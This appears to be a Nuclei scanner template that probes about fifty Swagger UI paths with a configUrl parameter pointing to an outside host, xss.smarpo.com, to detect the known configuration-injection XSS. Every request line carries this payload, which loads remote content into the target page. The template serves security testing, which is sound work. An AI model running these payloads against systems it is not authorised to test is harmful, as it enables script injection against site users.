id: swagger-ui-config-url-injection-Extensive

info:
  name: Swagger UI Config URL Injection
  author: Shadowbyte
  severity: low
  description: Detects if adding a configUrl parameter to Swagger UI endpoints leads to successful load (HTTP 200) and presence of Swagger UI content. Includes versioned paths.
  tags: swagger-ui,xss,injection

requests:
  - method: GET
    path:
      - '{{BaseURL}}/?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/index.html?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/swagger-ui?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/docs/?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/idm/v2/api-docs?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/docs/api-reference?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/swaggerui?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/help?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/doc?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api-reference?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/swagger/docs/v1?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/reference?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/swagger/ui/index?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/swagger/index.html?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/swagger/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api-docs/?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/index.html?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/docs/?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/swagger/index.html?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/swagger/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/swagger-ui/api-docs?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/api-docs?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/apidocs?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/swagger?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/swagger/static/index.html?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/swagger-resources?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/swagger-resources/restservices/v2/api-docs?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/__swagger__/?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/_swagger_/?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/spec?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/swagger/ui/index?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/__swagger__/?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/v2/doc?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/v1/?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/v1/doc?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/_swagger_/?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/swagger-resources/restservices/v2/api-docs?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/classicapi/doc/?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/api/v1/openapi?configUrl=https://xss.smarpo.com/test.json'
      # Versioned paths
      - '{{BaseURL}}/v0.12/index.html?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/v0.11/index.html?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/v0.10/index.html?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/v0.9/index.html?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/v0.8/index.html?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/v0.7/index.html?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/v0.6/index.html?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/v0.5/index.html?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/v0.4/index.html?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/v0.3/index.html?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/v0.2/index.html?configUrl=https://xss.smarpo.com/test.json'
      - '{{BaseURL}}/v0.1/index.html?configUrl=https://xss.smarpo.com/test.json'

    redirects: true
    max-redirects: 3

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "swagger-ui"           # Swagger UI specific identifier
          - "swagger-initializer"  # Swagger UI common script
          - "api-docs"             # Often present in API docs
          - "swagger.json"         # Common in Swagger UI
        condition: or

      - type: status
        status:
          - 200